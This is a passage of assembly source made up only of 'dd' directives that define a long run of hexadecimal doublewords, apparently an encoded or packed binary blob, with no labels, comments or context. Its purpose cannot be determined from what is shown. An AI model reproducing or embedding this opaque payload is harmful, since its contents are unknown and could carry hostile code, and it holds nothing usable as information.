83028485h, 60D78A89h, 0FE508200h dd 3C70228Bh, 0E754009Dh, 0F0EACE64h, 530075DBh, 0CC88FF17h dd 7E38E9E2h dd 5E070C5Ah, 0B6A28304h, 0DE171303h, 0F178FF10h, 2660660Bh dd 0B0F00Ch, 25FA453Bh, 5CF00D74h, 406C21Fh, 21A9DAC0h dd 168BDFh, 50176655h, 19458940h, 0B70FF200h, 33310308h dd 0E94300CCh, 3A3B0A60h, 741E3546h, 36000E67h, 261F0954h dd 0A03F0095h, 4F665001h, 0B008102h, 0A6F2B752h, 3032FA53h dd 755E0D45h, 0A9076241h, 2AD8A2B9h, 64178ED0h, 1F20047h dd 4EEC8238h, 270134F3h, 5DC04A8Fh, 1BCD2E6Bh, 1D99DCh dd 0EDA5FA29h, 0FBBB6001h, 2481660Bh, 1980FF7Dh, 258A2976h dd 0A00074F6h, 530DE1FFh, 6731579Ch, 50F248D9h, 45B398Eh dd 1CF4E83Bh, 6A80803Fh, 4E268D0Ah, 4F740008h, 0ED8C03E7h dd 7D00E91Eh, 3C51AEE0h, 0F1250F6h, 23AB4056h, 9F53D20h dd 0FC0101EAh, 22FEC9B3h, 0BE88565h, 3AFF450h, 7FF64269h dd 20E70E32h, 3C65BE58h, 0E7215317h, 0DD121FFFh, 45CF0011h dd 13BE0E62h, 0B0D47100h, 8C9D4792h, 3CA4070Ch, 5090A303h dd 83D5ECBDh, 0AC68501h, 52C77853h, 0F854ECh, 50908603h dd 4D07E924h, 83376400h, 8A84AD2Ah, 91480543h, 0C09B124Ah dd 30413201h, 0A8FEA973h, 42BAB800h, 15730ADCh, 0C93D0045h dd 0DA4B5A1Ch, 57004D82h, 3C47E194h, 0CFDC21h, 44D88871h dd 0EE39FEC7h, 1AE04A30h, 0C55E9h, 9348949Bh, 0B681D291h dd 75393Eh, 0AA51F527h, 4F42EDh, 0E31224A6h, 0F687477Ch dd 10939504h, 7C8014BFh, 740A25Ah, 0E802F49Dh, 0F5687791h dd 0F856C0DBh, 0D31C25FEh, 28DF582Ah, 89F20380h, 2CE4542h dd 5C261CC0h, 405D217Eh, 183CDC18h, 10352350h, 5F00C212h dd 0A18FC32h, 60C48554h, 0D031C4D4h, 873C7E1Bh, 4DAF8190h dd 0EE41058h, 121760E4h, 0BD90ABCh, 0B68F0882h, 3740EBA0h dd 523FD655h, 344380A5h, 0FC570DDBh, 867F00A8h, 104512B5h dd 0CC03FA91h, 0CA73B817h, 6BE000E2h, 1182DE4Ah, 55001F62h dd 0A48A3E19h, 13399Fh, 0B2EBFB54h, 9CB8C26Ch, 81D40938h dd 2978064Fh, 58619E11h, 0F3AFC8h, 0F7DC2074h, 4CFDE002h dd 54112300h, 83D24222h, 0D44800C1h, 0C925A7F2h, 0E2021975h dd 74A47F72h, 8EC7E0FBh, 71F70EB4h, 85E02CF0h, 0E387831Ch dd 500002F2h, 0FA16E98Ah, 3F930BD1h, 851F8DC3h, 4B14032h dd 0A83A1029h, 0A27D3Bh, 631277Eh, 3C432Bh, 530C63A1h dd 5D93CA24h, 0E01F1FE4h, 0FE3BF8h, 0B2830F28h, 308D8Bh dd 0E81E4053h, 6B3C1219h, 1876B3F6h, 4F07F400h, 8A05C283h dd 5F3203F5h, 0FFFA9629h, 8625DFB0h, 6A0033FAh, 0F1450B0h dd 189F87h, 6F22832Dh, 5940EFF7h, 0BC895407h, 0FAB04975h dd 0D1C680h, 83740567h, 724FBA68h, 0F021D605h, 0F780753Bh dd 488063h, 74182D7Bh, 0C69F3F3Ch, 8A424B00h, 0D241652Ah dd 478100EFh, 17C5625h, 6800625Bh, 12F03918h, 1DBDDA1Ch dd 0C07FC9A0h, 564767B6h, 6A4CFE15h, 340015Bh, 9EC75281h dd 772F9CCCh, 0BE053E86h, 44CA5900h, 8475F8A7h, 0FC1C400Bh dd 0DF3A0953h, 142B080h, 743CC23Bh, 226C000Ah, 0F4CF286Eh dd 4DE9009Fh, 254013A9h, 743AE448h, 0F74A829Dh, 60553899h dd 0EB75949h, 611DE1ABh, 51889A38h, 790B6603h, 0C88FC743h dd 714A610h, 3758E1A5h, 0E4069159h, 8EBD4092h, 4D786599h dd 0EA058DECh, 0B8E0A02Fh, 0F08B67C3h, 1B49B7Dh, 5D3EEBC2h dd 21E6AD71h, 0CB9A60CBh, 0DBC04D00h, 7C2FBADCh, 63760022h dd 5D50EA53h, 691FC973h, 5B1FFC96h, 97B89880h, 1F86D71h dd 679D18C2h, 0E0E22D24h, 7C7F1CD7h, 0ADD45C04h, 4980CDD8h dd 74F45969h, 0A5270379h, 8867DD25h, 12D865ABh, 5513B2ECh dd 20B8D0E5h, 1797EA00h, 0F8A53D23h, 15286728h, 0CCB3DF01h dd 484666C4h, 2F55DCh, 99C76806h, 0AB6E1597h, 54B34B33h dd 89DDD8CBh, 0A36800CFh, 0DA90E805h, 0B001E2Dh, 71D3A009h dd 78F25274h, 12FEB4h, 0E15AE659h, 708EC6Bh, 0C71C6300h dd 0BF0244F6h, 0C57284h, 0E28CB895h, 573FC9E4h, 13B07E00h dd 1541FF4Dh, 7B3C0040h, 273B9591h, 7800CB69h, 7EFDDA92h dd 90C916h, 0D302D088h, 49F3D69Dh, 18000574h, 955B1C36h dd 24588496h, 28FFF01h, 4E1E2B2Eh, 0C1574740h, 2894200h dd 598CF986h, 3FFCFAh, 78C89F0Ah, 9A4D1025h, 0FD45140h dd 53B05297h, 4009EB60h, 3500DE2Ah, 8CEEF992h, 1F5888FDh dd 43A63C24h, 2149B11h, 0D15298D0h, 8034F03Bh, 0B948A2FFh dd 0FFC097Bh, 0E946DADCh, 4D000D3h, 0D840FD2h, 39EE0200h dd 28ECC336h, 768390F6h, 0A350008Fh, 1466D4E2h, 3A00D845h dd 0DB138D16h, 39A53EBh, 0BBD3FBACh, 7BE0B603h, 3C00E340h dd 0AB866711h, 0E27D049h, 0CF467107h, 801DE800h, 4D7F0326h dd 59C11700h, 62478CD5h, 3CD91DB6h, 58CE45D2h, 6F2A8066h dd 103BBF86h, 233EAC45h, 4B074703h, 0B4C7E825h, 8230014h dd 0A9A1F9CFh, 70F50212h, 2B2C1CBAh, 881D3706h, 1BAC2040h dd 0E3D01h, 265A366Bh, 0BF4D50EDh, 0A1CD1C00h, 0A094C3C9h dd 453055Dh, 0E1D79C4Ch, 333E818h, 0A4140800h, 0C415BB86h dd 582BF01Dh, 5003835Dh, 78AD0364h, 0DEB014EBh, 0F1071EA8h dd 1832825Eh, 0C04B050h, 4C9F05D3h, 80DE7E75h, 83E9D5BEh dd 3A1D7B77h, 308F03C9h, 9D14020h, 14266Ah, 48A0AC52h dd 2C82B718h, 663DFB98h, 8A98009Dh, 0C321C954h, 2B8E2699h dd 71780158h, 0C4453561h, 0AD001238h, 14EB7F33h, 0B2C4396h dd 2F847D18h, 90DDC980h, 324C826h, 3F17E3FBh, 0A1575A00h dd 50CFFD2h, 83CD3B24h, 87D30023h, 0F210D455h, 127D600h dd 0B018C0F1h, 24C4070Eh, 302814BDh, 40CB439h, 0B376871Dh dd 0C884B900h, 17E902h, 0A2DD47E8h, 7E82F0BCh, 0B143A300h dd 0F37D08E2h, 0FA3D0364h, 1EF2FF4Fh, 387FEDF8h, 81430400h dd 0BFB31853h, 0BA0250A7h, 1EE2003Ch, 93843042h, 0D05C20F4h dd 40DE0052h, 2C34E4A1h, 0BD8500F8h, 5938C843h, 7A000BFCh dd 0C9535F84h, 2E8822h, 0B8C10104h, 4E603F10h, 3437BF1Fh dd 0C7E50A03h, 6575C8FCh, 537D00FFh, 28521BC1h, 90011D45h dd 74F685A5h, 55200F5Fh, 8B391ED1h, 0E5803AEEh, 0FDC44BAFh dd 0F202A6FBh, 3E642C25h, 0E018425Ch, 68548Ch, 96F809A4h dd 75FF9240h, 18492201h, 8E9BF12Fh, 4320C121h, 0C6B055h dd 0F4C5E987h, 422B610Ah, 0E8408200h, 9A57A34Dh, 517D0332h dd 0D444C960h, 0F77E88B0h, 3F509600h, 225BA38h, 0A786007Bh dd 6C8331C1h, 0F000CD71h, 3624EB62h, 53FE04h, 0F7E88AFBh dd 4B1E433Ah, 0A078756Fh, 8CE2FF03h, 11D507FBh, 0E0DE9421h dd 7EF0E599h, 84233200h, 31D016A9h, 96544C9Eh, 4A210075h dd 20622464h, 97EA433Ch, 18850400h, 0B2557329h, 486A02F3h dd 2BF0F449h, 35C5CBE0h, 90A93700h, 93075DD3h, 2AE10010h dd 5FEB5530h, 0BD008018h, 2FD73B3Eh, 0E30D72h, 730E1F3Dh dd 2ACAC106h, 81FEBECh, 87C3F83Ah, 0E8E6E375h, 5E9F8Eh dd 0DC102DC0h, 0F61CE881h, 16442200h, 0BC88EFC3h, 7B92004Fh dd 84FE2D2Ah, 0E60F5053h, 0C04BAC4Dh, 29A1E0E8h, 89853F42h dd 9CF58C81h, 0ECA83EF4h, 0DDEADAC7h, 1CBC530Eh, 0EE4B609Bh dd 0EE4692Ch, 5427D2A5h, 89051360h, 12006BA4h, 3C9FFB5Bh dd 1107053h, 88E22A11h, 0D9182134h, 4C0DD851h, 87493800h dd 50A28C91h, 907515h dd 8041FAD2h, 406AF633h, 30FFE21Dh, 902D7580h, 0F66070Bh dd 5A4D3881h, 78832400h, 7400E03Ch, 82801E4Bh, 768F303h dd 5615FC99h, 8108A023h, 4500503Eh, 27414C6h, 38F6B572h dd 3CF069FCh, 24006AF0h, 0EB4EBB28h, 0FE744A5Dh, 1A83121Ch dd 5F1F0240h, 90136574h, 72D9008Dh, 841464DBh, 0EB730C62h dd 7839F602h, 6031B849h, 5021F8FCh, 79E7C53Fh, 34BA3E46h dd 91005FD8h, 525AB774h, 0D5002367h, 8E037F86h, 5C16EB3Ch dd 0DA00CB77h, 0C8D0D73h, 0D103DD33h, 7B84CF21h, 9C963B04h dd 0E490E58Bh, 0C4C5700h, 0BE006C5Bh, 4EC426A3h, 265EA10h dd 0D08FABBCh, 0AA406982h, 900F4916h, 770A120h, 6B77880Ah dd 0C689AC90h, 31FC020Eh, 0CACF49C9h, 0B2C09740h, 0C87030FCh dd 19E98800h, 0B6F28AF1h, 66182708h, 784BA077h, 89351209h dd 440E0C34h, 0DA1C4275h, 9B803E80h, 0D2F75BD3h, 25D100E4h dd 57AD089h, 0B928C8ECh, 4B00C4B7h, 72D54442h, 6B0EBh dd 2ECBE1F3h, 16867799h, 0B4C30330h, 5F547Dh, 50B9B3A7h dd 33135CEAh, 0AF530100h, 58AE9E35h, 28680FA0h, 5C60B55Fh dd 50895294h, 59B18500h, 8A0BD123h, 0D8800002h, 0A126758h dd 42F05F2Eh, 0F0754905h, 0B7ECA1B0h, 92BDC00h, 0F35D5AF9h dd 79A55401h, 0E5957458h, 29FD7280h, 5BC85614h, 0D7FCD200h dd 9857701Ah, 78402E4Ch, 6040729h, 0F44AF0A3h, 0BF00FE41h dd 1D17BD82h, 0E6E3E80Bh, 2585002Dh, 0C65A4F78h, 733F61B2h dd 1B770019h, 0AE933B3Ah, 591A2675h, 0BA8100DDh, 3021C2Fh dd 86EFD81Dh, 54971100h, 3C3969Bh, 8A0A9BCh, 0D1D848EBh dd 2A383988h, 16E6F91Bh, 52432D00h, 0E923BCC7h, 20B8F2h dd 18583BBDh, 2F73820Fh, 4F93B200h, 22C43DAAh, 591004F0h dd 8394E22Dh, 51B360E9h, 0D5B80CB0h, 0B9013100h, 0D75C2042h dd 0B871E645h, 13F270B5h, 173EFE08h, 272F0039h, 0BAF7E07Eh dd 893055FEh, 80093AF4h, 0B72009F1h, 0C58302F9h, 0FFE8B204h dd 0CD9E567Ch, 6A513800h, 9A9C73h, 95880813h, 977CB85Ah dd 0C5BBF400h, 1561EA0Ah, 0F1100003h, 4912510Dh, 0A4581D0Eh dd 802C3F8Ah, 5E077562h, 0F8CA28h, 48EFE842h, 0A0E0FF96h dd 65E4C800h, 0DFBCBA95h, 7C60000Bh, 44AE545Fh, 0AD7BE093h dd 6972000h, 1A2643C6h, 4EB0001h, 7893DD0Dh, 540022CCh dd 2C085011h, 1E6D799Fh, 4057F12Dh, 730989F0h, 4600C630h dd 0F34E8DD6h, 0DE8CADh, 258B5967h, 0CBEFB91h, 5021C607h dd 28F0B256h, 0FEADB5DDh, 76D0FB59h, 30D11E20h, 0D5C5876Bh dd 751C5081h, 1EC339CFh, 80B1D62Bh, 0FD9B7Eh, 10E87349h dd 1EBB92D4h, 6328100h, 8E004E4h, 0D81F00DCh, 0A8F355D3h dd 0C4003121h, 0D6BDAEFBh, 9820A9Ah, 5FFE65CBh, 4F1A180h dd 5802EA81h, 0B3542F78h, 2ADDE0C4h, 0F5C20216h, 5F2664A2h dd 8A9360E0h, 831E4712h, 18446700h, 2E6689F7h, 30FC27Fh dd 0A4504824h, 0C9F858E0h, 6205D00h, 75894EF0h, 0F64A05BCh dd 0C0762CB4h, 0C7B3466Dh, 9D0F5000h, 1F2F2D82h, 5A901E55h dd 0EA484097h, 0CE223746h, 750058F4h, 196577EEh, 514B011h dd 3B398285h, 0B0AF8718h, 45807534h, 1AC5EC00h, 0EBE0176h dd 0CA020061h, 0D9A4AF06h, 0FE730D13h, 0C7958600h, 0AD775304h dd 5F8B00AEh, 0FB7D80C2h, 0CDEE88F0h, 2F008D7Bh, 0C715C663h dd 0B86F110Dh, 0E4101201h, 0BCFA0282h, 7E609D2Ah, 0DA0333EAh dd 7468C075h, 0C03FB331h, 35817A9h, 3E7995CEh, 1CE07567h dd 0F35EE26Fh, 0DC00F5A8h, 5114F669h, 4800B7DFh, 268DD83Bh dd 7A011A1h, 0AF07BA12h, 0D4F17174h, 7D85E454h, 5C38591Eh dd 0CAF23F00h, 1E74032Dh, 8562CCD6h, 0C09118AAh, 645A0A94h dd 3EC510Bh, 454500B5h, 1E05BAD4h, 5077D2Eh, 0FEAA81C4h dd 0C0FD2FC2h, 0E3AE87h, 0CAB541Ch, 6238FE95h, 0A032D32Eh dd 0FF22B400h, 0EE7384h, 0B0109C72h, 4BE7E968h, 8D2B60FBh dd 91DD9500h, 8C2E63E1h, 931313F0h, 420F003Fh, 0A6B1EB70h dd 0E7772200h, 0C75F4086h, 2C835C90h, 0C049F21Fh, 6A138C23h dd 0B500F4EBh, 7385DB51h, 16BA0221h, 0CAB4F2h, 53222A75h dd 0D800720Dh, 52C38A1Ah, 72865E01h, 0A76900E9h, 80D7B021h dd 334CCD38h, 401100B1h, 742E120Ah, 94D80066h, 0E0F42201h dd 1700FFFAh, 0C01D7525h, 0F467FE50h, 837713h, 0B2C9BF02h dd 0B152535Ah, 8AB32100h, 80C1B75h, 64560797h, 0E0D3220Fh dd 9E060DC9h, 5CE22B00h, 982D14E5h, 743300E9h, 4F9F6828h dd 5EF6FB42h, 0AA195507h, 3FAF18CBh, 463264C1h, 29EC4B35h dd 0F17B00ECh, 8BA1A490h, 82039F1Ah, 2717677Dh, 7F319177h dd 2E7142F8h, 0A07BEh, 66A01D8Bh, 79003064h, 0F6035FF8h dd 7AA1C6B8h, 5C97009Ch, 0D82E53A3h, 4D0B5BD0h, 0A94210h dd 4A445A6Ch, 9BBA1DCDh, 0CBA600C3h, 0FAE6C47Fh, 2FFB9E03h dd 0E01A57FCh, 293865h, 0D8DB3BA7h, 345D36E3h, 6C12A5EEh dd 0BBF49Bh, 6A0FE00Eh, 0EBEC9D01h, 1A0A9900h, 0ABC48688h dd 6753A29h, 0A1BD9000h, 0CAA73D68h, 0A8155D01h, 0B2BBFB92h dd 0EAD7C0h, 994AD02Dh, 0A436A010h, 763E8800h, 7D540AFDh dd 385F00BAh, 0B805D5E7h, 0EFA058CCh, 1CE2158Ch, 2CDF8900h dd 0B50ED494h, 0B0930383h, 0F0B86D5Ah, 2B89EFB0h, 59F46A00h dd 0E20E53F8h, 0EC480022h, 63C5035h, 0CE0FA63Dh, 0A0A11328h dd 0A03EBC96h, 0FCA4001Ch, 60C40647h, 0F24C3468h, 7890326h dd 0C0BBFD85h, 0BC5C58h, 0C275F803h, 0D35BC068h, 0DF29BF00h dd 669CDC88h, 7CCF842h, 6C4617B6h, 0A034B021h, 64394C9Eh dd 0EC62003Ch, 0D5F8101Fh, 27973A4Eh, 0F0F47AFFh, 48EE0Dh dd 0EF38DB79h, 0E552EE19h, 8F02333Dh, 0E1644414h, 4CE36837h dd 13AEDCCh, 54203D61h, 0F8430C7Fh, 8FA34B1h, 0C422B900h dd 0B32BAB2Dh, 0BB580012h, 0D6154E25h, 1D7F943Bh, 49792AC0h dd 72656B3Ah, 5E3C2466h, 36B401F3h, 302CD94Eh, 19074246h dd 82EB9A90h, 2A230360h, 584507B6h, 0B301B7AAh, 1EE83724h dd 62126A99h, 0B90136A7h, 4B03A045h, 4E52D0h, 7CF04C9Ah dd 9ED4475h, 0A954F513h, 419ED900h, 1CCA56DCh, 0C01C4950h dd 745F6547h, 0FCF161EDh, 7A037B64h, 20C37371h, 0BF69D852h dd 78450091h, 66DDF663h, 4CFCA0D3h, 73007CFCh, 4518F99Dh dd 0F0106D53h, 31880024h, 0C9028B62h, 3B00082Dh, 0DDD6F8E1h dd 0AD8D79h, 28FCD489h, 9C3A7D72h, 572EEA00h, 86CA3E62h dd 0C9113EF4h, 0EFE20683h, 26B05C78h, 5812753Dh, 9E008415h dd 0C74A8B28h, 11E21E3Ah, 0E8C000A5h, 0C4EAEF27h, 0D22E4F00h dd 2071740Ah, 7D7E02h, 0F9EEE7E0h, 453DB664h, 0C42A0800h dd 0CBC70D14h, 439E00D6h, 3F816605h, 0FD0025FFh, 26E83DD2h dd 1C6CEFh, 1E389507h, 0AA2769C4h, 0A6D6241Dh, 0E0E85A8Fh dd 0EE3AE1B5h, 91670053h, 0C64E3E10h, 3F034F55h, 4B7AD2B1h dd 0D875CBC9h, 0C3FA50h, 6F0032Ah, 26F3F85Bh, 80CE103Bh dd 52E22C92h, 0A46DA7h, 0B3446BEFh, 0C308BB43h, 0CA535026h dd 0F53B1700h, 0E68B828h, 0D2395411h, 89782B40h, 6A000AC8h dd 0A7B052B2h, 7CA10974h, 0EAD1F4CEh, 713800EBh, 0BD5EBFAAh dd 9007D0Eh, 5478D68h, 0FE63ECE2h, 0D52C0378h, 0A06171Dh dd 0C20146F0h, 6900E8ECh, 1505ED39h, 0FE388934h, 65C31FBDh dd 6581E542h, 0E0A00E6Eh dd 2B00DE8Bh, 81E41C5Dh, 714FBh, 646885BDh, 162F8629h dd 8AEAAC00h, 0E455121Ch, 4A4800F7h, 278358E0h, 2B3B04EBh dd 5F9E9F68h, 7D19F3C0h, 0F05497h, 0B4517F52h, 38783644h dd 324638h, 33D08B56h, 0FEBF6h, 80068A7Dh, 5742FF9h, 5C5F0A00h dd 42F29007h, 0F3A00D7h, 0ABD0EC09h, 0A6000354h, 0FCC34A5Eh dd 7C75F7F0h, 17E51753h, 42470030h, 0B8A0D73Ah, 0DF822900h dd 0FCE488D1h, 7E3700BEh, 95EB1C7Bh, 177892F7h, 0DA19A10Fh dd 3CA900EDh, 0FD3E8Bh, 9A708845h, 0C94F943Ah, 1241520Eh dd 0F4538024h, 284ADCh, 6389E2C1h, 3C7B8E5Dh, 3B7CE800h dd 5C033A78h, 1D1C003Fh, 40F61304h, 5F0B148Fh, 34A5A5Bh dd 0F16886E4h, 6520C13Bh, 0F0A61C8Ch, 209FBD8Eh, 0D9B5001Ch dd 301BAD96h, 0BE95D500h, 4A4D8EBFh, 687F3F73h, 0C49D5100h dd 45EB3E70h, 34A97D0Eh, 35C07EE4h, 2147D3BDh, 506F00E0h dd 2F58107Ah, 93F8B702h, 0FEE96E05h, 0CB010FFFh, 0C231A26Ah dd 0C0428820h, 2E06BA34h, 0EEFF23A3h, 0E59BC05Fh, 0F8DC00BBh dd 0BF94B054h, 5B0263D0h, 78DFE964h, 322861ACh, 1331803Bh dd 0EFFC6C75h, 625C2300h, 0FDFB447Ah, 0BEE70361h, 0BB4EDF1Eh dd 792C63F8h, 0F86D5E1Dh, 202ED980h, 0F72A6Bh, 4C7D62AEh dd 7986E34Fh, 6DDCE03h, 0D8ACF63Ch, 641A53h, 0B38D702Eh dd 14B67582h, 52509F07h, 0FBC15DCFh, 0B9EC4E78h, 0F88400F0h dd 6BB453FEh, 74039714h, 0FABD0DA7h, 48C2F81Fh, 0E8830002h dd 30B83AA2h, 202C264Bh, 0B501D512h, 762C4306h, 0F00A89D0h dd 0EF6D099Bh, 0D88029FEh, 66C78B3Fh, 547E9AFCh, 0A9165Ch dd 55FC4492h, 51930Fh, 0CF10B22h, 16F8678Bh, 0CFBE7503h dd 0B0381ACEh, 0C0103Ah, 0FE124B1Ch, 74C9DD6h, 7D00ADB0h dd 0CB51ACFCh, 972F10h, 4F022944h, 7E12A90Ch, 8F0B870Fh dd 31F9802Dh, 1CE3543h, 9422274h, 0D9192436h, 0E910D137h dd 1C85E83Ah, 83B8B73Eh, 8CEC7DC2h, 33C0EFA5h, 0EF57519h dd 4D88982Bh, 8669680h, 553D4126h, 0EB3B9C4Bh, 39F98443h dd 8AEA0715h, 70F8AB27h, 4B8296ACh, 4A337C00h, 0F2F5EB8h dd 51760084h, 38F1DFABh, 413FAF98h, 2CB9C7h, 951DAC9Ch dd 0E106097h, 5EFF483Bh, 8D1C3040h, 0DF7A0853h, 0C1E1500h dd 0ABF656Eh, 4A4B00EBh, 42203911h, 0E526695Bh, 0C80001C9h dd 0F32D91Bh, 79E005Ch, 830E731Eh, 8D3E0401h, 0B490F485h dd 8074F83Fh, 0DC8265BEh, 0EDB71069h, 774BC0h, 155C81Eh dd 0CBD52EC9h, 0A2F91600h, 64146E09h, 7507846h, 70965534h dd 0C6B75160h, 3ED7F092h, 0FCFC73Fh, 61E9E0E5h, 6C79FE9Fh dd 1FC5E2C4h, 0C0146A43h, 0E958C08Fh, 1CB82EF1h, 5C087D00h dd 3F840ADh, 0B93500B4h, 0EF8B0689h, 0A5EE795Dh, 4B437000h dd 460307C0h, 0C3E0048h, 0F02B0A33h, 0E800244Ch, 592556AFh dd 12EB007h, 0C8471F8Ah, 0E44E4034h, 49004423h, 16051F2h dd 71EBB1h, 37195E3Ah, 2A41775h, 50A08900h, 2ACAD555h dd 7F230F40h, 0CF40D82Bh, 38C852EBh, 907C3903h, 0BF366425h dd 1A296A80h, 185FE17h, 72F107A6h, 0D08E924Dh, 0EB007534h dd 0D04AD58Bh, 20BA61h, 0E36E9E65h, 408D85E1h, 80CFAA00h dd 423F3908h, 3A980F59h, 0FCBDE03Ch, 1B1FA2BCh, 0C8D6ADB2h dd 8A904E07h, 0C03EE6F0h, 82060050h, 12AEF392h, 0BFFE0156h dd 30FB6C00h, 2F144184h, 4C453E06h, 0FA950072h, 0C3F43CE9h dd 3A00EEDBh, 100821FCh, 75188A74h, 931C0205h, 9BE842BBh dd 40F59061h, 59C474DFh, 13305F1Fh, 0F8E895DEh, 0D9008275h dd 202ABF22h, 7AED0Eh, 59D474BDh, 1C9AAAD7h, 5424D207h dd 0F5407F82h, 7995ECB4h, 0FC21771h, 20860F76h, 9FAB7200h dd 0DC5EE051h, 0EEF1B5F1h, 857C0A80h, 4190B138h, 89B62B00h dd 276EAED2h, 8178B7h, 1DC2881Ah, 0F222287Dh, 0A84ACE00h dd 0FDBD11B9h, 0B80B004Bh, 0A443465Ch, 10009AABh, 0BC998EECh dd 0C7555Ah, 8870540Eh, 3C9EDF8Fh, 0FF72E300h, 5DADC815h dd 0F9340031h, 7F1CE17Eh, 7300E90Eh, 0ECED33A5h, 0FC0C8BA9h dd 5C490036h, 12401D4Dh, 0E00BCC7h, 590546A1h, 3D8F6F11h dd 7222DCh, 0AF202414h, 0E8DBF93Bh, 468CF50Ah, 0DF05FE52h dd 51C71021h, 74288D30h, 6C030337h, 0E365FDCEh, 22261993h dd 52005D08h, 1666C4FFh, 42770004h, 0FD2AFBF8h, 111F32E3h dd 24400846h, 0BF2B4822h, 708B0044h, 2CEB256Dh, 4E00A471h dd 832019DFh, 79935145h, 0C0394B13h, 9216B691h, 60230400h dd 0CF542846h, 6AC50059h, 57AD8083h, 9700E0B6h, 5FEB2CF9h dd 117865h, 0BFE65AF1h, 0BB245818h, 7C8270BFh, 827C1CE8h dd 2FC640A1h, 0B503A39Ch, 0D7094673h, 8115A925h, 132C010Bh dd 204C8h, 33740B72h, 73B6C0FFh, 4F80E900h, 0CC35C937h dd 0EC680050h, 0C70328C2h, 0D0097DCh, 66B71348h, 42F75Dh dd 3785E9B1h, 0ED20CD6Ah, 0B551800h, 7A044908h, 5F2400D5h dd 39076010h, 50008402h, 56404D11h, 1E0A4218h, 8069EB68h dd 1032C765h, 481DF259h, 3FC10C50h, 9D423541h, 54B5F0h dd 57C1564h, 51E4B816h, 0FC30D205h, 90B0897Fh, 0ABE80041h dd 59FFDE38h, 51E2109Fh, 60F06D00h, 36F79720h, 40487A40h dd 26513C92h, 0DC883081h, 84C95600h, 0CEAA34D6h, 7FBF60Eh dd 1FF200Fh, 558DB13Dh, 80A54724h, 13FA8347h, 0BF089916h dd 438CA500h, 110C648h, 0AD4A3063h, 0E8A8C40Eh, 0B2002A69h dd 66771203h, 1DE740AAh, 7D957489h, 4FF00D80h, 2032C175h dd 6C013Eh, 29BCC951h, 78910868h, 3C960014h, 850D2833h dd 253E3DEDh, 0B92200DBh, 3A15D973h, 0DAFC20h, 5F13F516h dd 0A5AF27CCh, 0FF307500h, 5D5AFC61h, 0D0FD073Fh, 0B01A37B2h dd 0F1AFECB7h, 0BD55B00Eh, 0C5D9A02Fh, 4F94708h, 296145E4h dd 808B8549h, 9B4482D3h, 0C489AE01h, 0F324DA12h, 84AE0E7h dd 38913922h, 7FA551BCh, 0F812D783h, 0FD4B31E0h, 88C59701h dd 217E3B6Ch, 6580898h, 0E0001486h, 0A9298E0Bh, 3F407DDCh dd 82804AEFh, 1F06BA9Ah, 0C53ADA2Fh, 0D0CE05A5h, 58EC69F8h dd 1DC7781Dh, 0C1E54043h, 7E8E0C08h, 94C5DE00h, 0BBB32927h dd 5CB10F66h, 4A606FBFh, 95FD7A2Eh, 7ECE42ECh, 7CEB8717h dd 0E4C2B5A0h, 43480047h, 580E11DDh, 8005104Dh, 8DFCA54Bh dd 0A2B380FBh, 9000A45Ch, 0EE0BB33Ah, 2BEAA0h, 4B8A2FF4h dd 74CBA8D9h, 575A0F00h, 0E8F64E0Eh, 7FED0024h, 5DC62CBCh dd 0CF7D6D08h, 3DE2183Fh, 271F7EDBh, 444E8EFAh, 3B974014h dd 1A1822h, 507E10B2h, 933E91ACh, 0FC147B00h, 0E0CF203h dd 18320070h, 1BC96806h, 243EE58Dh, 45F80A7h, 27BE3816h dd 42A900F5h, 104759FBh, 0D20E4EC6h, 20761A3Ch, 85EA1465h dd 0ADD63BABh, 0F3CE4F04h, 36608156h, 7303E006h, 5706C00h dd 7868CB77h, 0F5740F4Ch, 27A0B3EEh, 56247614h, 40E59D03h dd 0B04ED74Bh, 734CC811h, 53C30042h, 49D82A21h, 770740DEh dd 3EBC5193h, 740130E0h, 7B830063h, 5DB3C36Ch, 14000C20h dd 81185740h, 1F1C0251h, 40084B04h, 0FA8B4507h, 14046B22h dd 80E0F992h, 763F8680h, 0EEA002Bh, 497444F6h, 0C90AFCC7h dd 9166D8A8h, 1CC1949Eh, 55DF10E2h, 77706871h, 60EA4Dh dd 0D57756A2h, 0A328E853h, 0EA43D00h, 0B0744301h, 0E3BF0092h dd 90AD9344h dd 840080F3h, 1B6E7821h, 72997E4h, 0D69C0979h, 421C8028h dd 27038C3h, 9678732Eh, 6B1EDD00h, 201018h, 0EB7C74A7h dd 0BE433D23h, 577622E8h, 84932700h, 0C697515Bh, 4C7200EFh dd 0D2077844h, 0F800B303h, 384E31C4h, 0E9088D9Ch, 0EE4B54D8h dd 0CA201FF3h, 0A0594169h, 4070211Ah, 326A9B05h, 6CA2E407h dd 0ACB0A943h, 84258Ah, 5419A457h, 4D68809h, 0BA442039h dd 7826DC5Ah, 85CCC00h, 97948C9Ch, 80960041h, 14819844h dd 38000988h, 1C08119Ah, 467FE8h, 109BB802h, 29A27436h dd 8F32093Eh, 0C7A6219Ah, 0F830C458h, 0E9006C3h, 0C605111h dd 87B009A0h, 460410Eh, 7171860h, 0A13600E8h, 8C1B0C02h dd 1A00DC10h, 21CCB408h, 0EAD40984h, 3A47519h, 201F4050h dd 0D8F38088h, 23D0F0DFh, 1100A081h, 4022E34h, 0E82F7C22h dd 5446004Ch, 9C49932h, 800516Ch, 22A4913Ch, 5C2074h, 942C4457h dd 0F8116489h, 0BC026600h, 6239DC26h, 100900ACh, 52E00353h dd 5A0E7933h, 0AF495931h, 90C0204h, 0F460C124h, 7B38A320h dd 0A8086164h, 0D4204137h, 0B10ECCC6h, 66B8CB40h, 0E8C88D2h dd 980870C8h, 11DC84E0h, 0CC1D1B48h, 873FD9E0h, 1059E744h dd 21F96050h, 2A18001Ch, 0CC29ECA8h, 11315408h, 2B744824h dd 0BE2330h, 75D17632h, 14EC6405h, 4AC7ACB8h, 2670023Fh dd 7A6359ACh, 0A828007Ch, 0A7C43818h, 5B00F008h, 0F411C081h dd 0A021B15Eh, 3026295h, 4C70253Ch, 0A8D1409Ch, 50437089h dd 2007657Eh, 58488824h, 51766CF1h, 74A46C80h, 0AC12DC89h dd 6DFC2212h, 20462C00h, 0C64B972h, 58755171h, 810AA3B8h dd 0D5891744h, 0B8261D00h, 1E117CC6h, 9E43554Ah, 0DA440B4h dd 4707E817h, 0E170280Eh, 6AC24225h, 0A787F7D0h, 0DD010ACCh dd 1C32007Ch, 0EC08B13h, 1558408Dh, 0C6010013h, 31181F84h dd 821000Ch, 32032480h, 52E048E6h, 746E7500h, 20656D69h dd 0E27200E4h, 83DAE76Fh, 0EAFC6101h, 863B3000h, 18455140h dd 80112DBFh, 80191B57h, 0B5413938h, 57805E5Ch, 